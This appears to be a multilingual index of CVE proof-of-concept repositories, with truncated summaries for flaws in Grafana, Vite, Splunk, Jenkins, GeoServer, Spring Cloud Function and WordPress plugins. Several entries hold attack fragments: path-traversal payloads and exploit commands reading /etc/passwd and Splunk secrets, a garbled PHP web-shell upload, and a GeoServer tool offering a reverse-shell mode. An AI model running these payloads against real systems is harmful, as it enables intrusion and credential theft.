CVE-2026-105789 Microsoft UFO: Arbitrary file write in the Linux MCP `execute_command` tool

Microsoft UFO is an open-source framework for intelligent automation across devices and platforms. Prior to 3.0.9, the executecommand tool in ufo/client/mcp/httpservers/linuxmcpserver.py treats sort and uniq as read-only commands while the free-form command parameter can select their file-output...

CVE-2020-15778-SCP-Command-Injection-Check

CVE-2020-15778 – OpenSSH SCP 命令注入漏洞（检测脚本） 关于 CVE-2020-15778 是 OpenSSH（版本 ≤ 8.3p1）提供的 scp 工具中发现的一个命令注入漏洞。该问题允许攻击者在客户端系统上执行任意命令，前提是向 scp 传递了包含反引号的构造目标参数。 此仓库包含一个用 Bash 编写的安全检测与模拟脚本 。该脚本可帮助用户和系统管理员： 识别其系统的 scp 版本是否存在漏洞 了解漏洞的工作原理 测试并检测危险的命令输入（例如包含反引号的参数） 学习如何缓解和避免该漏洞 什么是 CVE-2020-15778？ 在 OpenSSH scp...

spring-cloud-function-rce

Spring Cloud Function SPEL表达式注入漏洞（CVE-2022-22963） Spring框架为现代基于java的企业应用程序在任何类型的部署平台上提供了一个全面的编程和配置模型。 Spring Cloud 中的 serveless框架 Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression”参数作为 Spel 表达式进行处理，造成Spel表达式注入，攻击者可通过该漏洞执行任意代码。 影响范围：3.0.0.RELEASE...

CVE-2019-19634

CVE-2019-19634 - class.upload.php = 2.0.4 任意文件上传 作者 - Jinny Ramsmark 受影响供应商 - Verot.net 受影响产品 - class.upload.php = 2.0.4 测试环境：全新安装的 Ubuntu 14.04，PHP5 和 Apache 特别发现 Debian/Ubuntu 存在漏洞，因为它们将 pht 扩展名以及其他扩展名添加到了可用的 PHP 处理器中。在这种情况下，class.upload.php 没有将 pht 扩展名加入黑名单。 此 CVE 与 CVE-2019-19576 直接相关 描述...

Grafana-CVE-2021-43798

CVE-2021-43798 Grafana 未授权任意文件读取漏洞 8.3.1 2021-12-07 安全修复：修复了 CVE-2021-43798 。更多信息，请参阅我们的博客 https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/ 示例：获取数据库密码 /var/lib/grafana/grafana.db 加盐密码明文验证...

CVE-2026-26719

Descripción Resumen Existe una vulnerabilidad de Cross‑Site Scripting almacenado en xxl-job-admin JobInfoController.java donde el parámetro addressList acepta JavaScript codificado en URL sin sanitizar. El payload se almacena y posteriormente se ejecuta en los navegadores de los usuarios, lo que...

CVE-2026-3576

CVE-2026-3576 - Plugin de WordPress Planyo Online Reservation System -f --disable-check python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd...

EUVD-2026-93397

An OS command injection vulnerability in the shell-based temporary-file cleanup instructions in Progress Software Autonomous REST Connector GenAI Agents ARCGenAI-Generator version 2.0 allows an attacker who supplies a crafted Swagger/OpenAPI document to execute arbitrary commands on a developer's...

CVE-2026-91140 OS command injection in Progress Software Autonomous REST Connector GenAI Agents

An OS command injection vulnerability in the shell-based temporary-file cleanup instructions in Progress Software Autonomous REST Connector GenAI Agents ARCGenAI-Generator version 2.0 allows an attacker who supplies a crafted Swagger/OpenAPI document to execute arbitrary commands on a developer's...

CVE-2026-91140

The Progress Software Autonomous REST Connector GenAI Agents ARCGenAI-Generator version 2.0 contains an OS command injection vulnerability (CWE-78) within its shell-based temporary-file cleanup instructions. An attacker can execute arbitrary commands on a developer's machine by providing a crafte...

ViteVulScan

ViteVulScan 漏洞介绍 本项目涉及3个漏洞：CVE-2025-30208/CVE-2025-31125/CVE-2025-31486，都是关于Vite开发服务器任意文件读取漏洞，这三个漏洞覆盖面大且利用简单不受限制。 漏洞POC： CVE-2025-30208： Windows: /@fs/C://Windows/win.ini?import&raw?? Linux: /@fs/etc/passwd?import&raw?? CVE-2025-31125 Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init...

CVE-2018-14847

CVE-2018-14847 Esta es una prueba de concepto de la vulnerabilidad crítica de WinBox CVE-2018-14847 que permite la lectura arbitraria de archivos con contraseñas en texto plano. La vulnerabilidad se corrigió hace tiempo, por lo que este proyecto ha finalizado y ya no recibirá soporte ni...

CVE-2024-36991

CVE-2024-36991 - Splunk 路径遍历 CVE-2024-36991 的概念验证，该漏洞允许攻击者在 Windows 上低于 9.2.2、9.1.5 和 9.0.10 版本的 Splunk 中读取任意文件。 使用方法 读取 Splunk 配置文件 要读取 Splunk 文件，只需运行脚本，传入运行 Splunk 的目标 URL 和你想读取的配置文件。例如： python3 CVE-2024-36991.py -u 'https://example.com:8000' -f '/etc/auth/splunk.secret' 读取 Windows 系统文件 要读取...

CVE-2024-23897

CVE-2024-23897 Este repositorio presenta una prueba de concepto de CVE-2024-23897 Descubierto por sonarsource CVE-2024-23897 | Lectura de archivos en jenkins Descargo de responsabilidad Este código es una prueba de concepto de la vulnerabilidad; no estoy animando a nadie a usarlo en instancias de...

CVE-2021-43798

CVE-2021-43798 Grafana - Directory Traversal y lectura arbitraria de archivos https://vulners.com/cve/CVE-2021-43798 https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/ Ejemplo python3 exploit.py http://127.0.0.1:3000 /etc/passwd python3 exploit.py...

CVE-2017-11882

CVE-2017-11882 43b 原脚本来自于 https://github.com/embedi/CVE-2017-11882 109b 原脚本来自于 https://github.com/unamer/CVE-2017-11882/ （膜一波，现在unamer的代码已经可以执行shellcode了） CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-118...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ 上传到上传文件夹后利用 shell： curl -...

CVE-2024-23334-PoC

CVE-2024-23334-PoC Una prueba de concepto de la vulnerabilidad LFI en aiohttp 3.9.1. La opción 'followsymlinks' puede usarse para determinar si se deben seguir enlaces simbólicos fuera del directorio raíz estático. Cuando 'followsymlinks' se establece en True, no hay validación para verificar si ...

ThrottleStopPoC

ThrottleStopPoC CVE-2025-7771 : Lectura/escritura arbitraria de memoria física y puertos de E/S a través del controlador ThrottleStop ThrottleStop es una pequeña aplicación legítima utilizada para monitorear y corregir la limitación de la CPU. Tiene un controlador que facilita estas tareas y, en ...

CVE-2024-36401

CVE-2024-36401 GeoServer 漏洞利用工具 漏洞简介 CVE-2024-36401 是 GeoServer 中的一个远程命令执行漏洞，攻击者可以通过构造特定的 WFS Web Feature Service 请求，在未授权的情况下执行任意命令。 环境要求 Python 3.x 安装必要依赖：pip install requests 使用方法 该工具支持两种使用模式：cmd 模式（直接执行命令）和 reverse 模式（建立反弹Shell）。 1. 测试目标是否出网 假设VPS地址为 111.46.112.85， 使用 cmd 模式执行 curl...